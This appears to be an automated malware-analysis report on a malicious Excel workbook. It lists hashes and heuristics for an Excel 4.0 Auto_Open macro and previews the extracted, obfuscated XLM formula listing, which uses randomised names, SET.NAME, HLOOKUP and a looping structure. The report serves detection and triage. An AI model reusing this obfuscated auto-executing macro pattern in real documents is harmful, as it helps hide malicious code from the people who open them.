Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3af9276cfc274ef3…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:39 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 7d71cb6ac2a0aee6e06c6393c49f7e68 SHA-1: a9fd286b5640cb5e7e4bf282343f728f4ad38f51 SHA-256: 3af9276cfc274ef3bad12764cbc379607bd6780490b8d5046b4f7babffaee8d1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6902 bytes
SHA-256: fd7f45374ee2f1d31f80b779634b434c132202b307edee56b755b5f02ff06c9c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lknHsfxZKQt
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G133 
' 0018     27 LABEL : Cell Value, String Constant - BQBXrXIkXMLT len=0 
' 0018     21 LABEL : Cell Value, String Constant - BqnoLr len=0 
' 0018     27 LABEL : Cell Value, String Constant - CNdneixpZNIx len=0 
' 0018     20 LABEL : Cell Value, String Constant - eMCJo len=0 
' 0018     21 LABEL : Cell Value, String Constant - fvDXOf len=0 
' 0018     24 LABEL : Cell Value, String Constant - GeAWMZJVu len=0 
' 0018     23 LABEL : Cell Value, String Constant - HgtmVNpL len=0 
' 0018     26 LABEL : Cell Value, String Constant - ktLLVCoiloy len=0 
' 0018     27 LABEL : Cell Value, String Constant - mDHhOKHyiEfF len=0 
' 0018     23 LABEL : Cell Value, String Constant - MVYzqmBK len=0 
' 0018     20 LABEL : Cell Value, String Constant - Notvi len=0 
' 0018     27 LABEL : Cell Value, String Constant - nozZSPcSEbFq len=0 
' 0018     20 LABEL : Cell Value, String Constant - OcZOm len=0 
' 0018     25 LABEL : Cell Value, String Constant - QlVuSPvTjT len=0 
' 0018     27 LABEL : Cell Value, String Constant - RfotEQFQHpqi len=0 
' 0018     26 LABEL : Cell Value, String Constant - XtlmXCvIIGm len=0 
' 0018     22 LABEL : Cell Value, String Constant - YhtCeVm len=0 
' 0018     25 LABEL : Cell Value, String Constant - YtQHNtOyKd len=0 
' 0018     24 LABEL : Cell Value, String Constant - ywqxvfBfl len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZetYeILfk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lknHsfxZKQt,G46,"SET.NAME("nozZSPcSEbFq",0+VALUE("0"))",""
'  lknHsfxZKQt,G50,"SET.NAME("RfotEQFQHpqi",nozZSPcSEbFq)",""
'  lknHsfxZKQt,G53,"SET.NAME("HgtmVNpL",nozZSPcSEbFq)",""
'  lknHsfxZKQt,G56,"SET.NAME("CNdneixpZNIx",COUNTA(mDHhOKHyiEfF))",""
'  lknHsfxZKQt,G59,"SET.NAME("MVYzqmBK",COUNTA(BQBXrXIkXMLT))",""
'  lknHsfxZKQt,G62,[],""
'  lknHsfxZKQt,G67,"SET.NAME("GeAWMZJVu","")",""
'  lknHsfxZKQt,T68,"",411.00000000000000000000
'  lknHsfxZKQt,T69,"",124.00000000000000000000
'  lknHsfxZKQt,G70,"RfotEQFQHpqi",""
'  lknHsfxZKQt,T70,"",167.00000000000000000000
'  lknHsfxZKQt,T71,"",199.00000000000000000000
'  lknHsfxZKQt,G72,"SET.NAME("XtlmXCvIIGm",HLOOKUP("*",mDHhOKHyiEfF,RfotEQFQHpqi,FALSE))",""
'  lknHsfxZKQt,T72,"",762.00000000000000000000
'  lknHsfxZKQt,T73,"",-929.00000000000000000000
'  lknHsfxZKQt,G75,"ywqxvfBfl",""
'  lknHsfxZKQt,G77,"SET.NAME("OcZOm",nozZSPcSEbFq)",""
'  lknHsfxZKQt,G82,[],""
'  lknHsfxZKQt,G85,"OcZOm",""
'  lknHsfxZKQt,G87,"eMCJo",""
'  lknHsfxZKQt,G91,"ZetYeILfk",""
'  lknHsfxZKQt,G93,"fvDXOf",""
'  lknHsfxZKQt,G97,"SET.NAME("ktLLVCoiloy",VALUE(HLOOKUP("*",BQBXrXIkXMLT,fvDXOf,FALSE)))",""
'  lknHsfxZKQt,G100,"QlVuSPvTjT",""
'  lknHsfxZKQt,G104,"GeAWMZJVu",""
'  lknHsfxZKQt,G106,"HgtmVNpL",""
'  lknHsfxZKQt,G110,NEXT(),""
'  lknHsfxZKQt,G113,"BqnoLr",""
'  lknHsfxZKQt,G116,[],""
'  lknHsfxZKQt,G121,"Notvi",""
'  lknHsfxZKQt,G126,NEXT(),""
'  lknHsfxZKQt,G128,RETURN(),""
'  lknHsfxZKQt,G158,"SET.NAME("YtQHNtOyKd",G46)",""
'  lknHsfxZKQt,G162,"mDHhOKHyiEfF",""
'  lknHsfxZKQt,G165,"SET.NAME("BQBXrXIkXMLT",R88C13)",""
'  lknHsfxZKQt,G168,"SET.NAME("Notvi",177)",""
'  lknHsfxZKQt,G173,"SET.NAME("YhtCeVm",7)",""
'  lknHsfxZKQt,G176,YtQHNtOyKd(),""
'  lknHsfxZKQt,G177,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.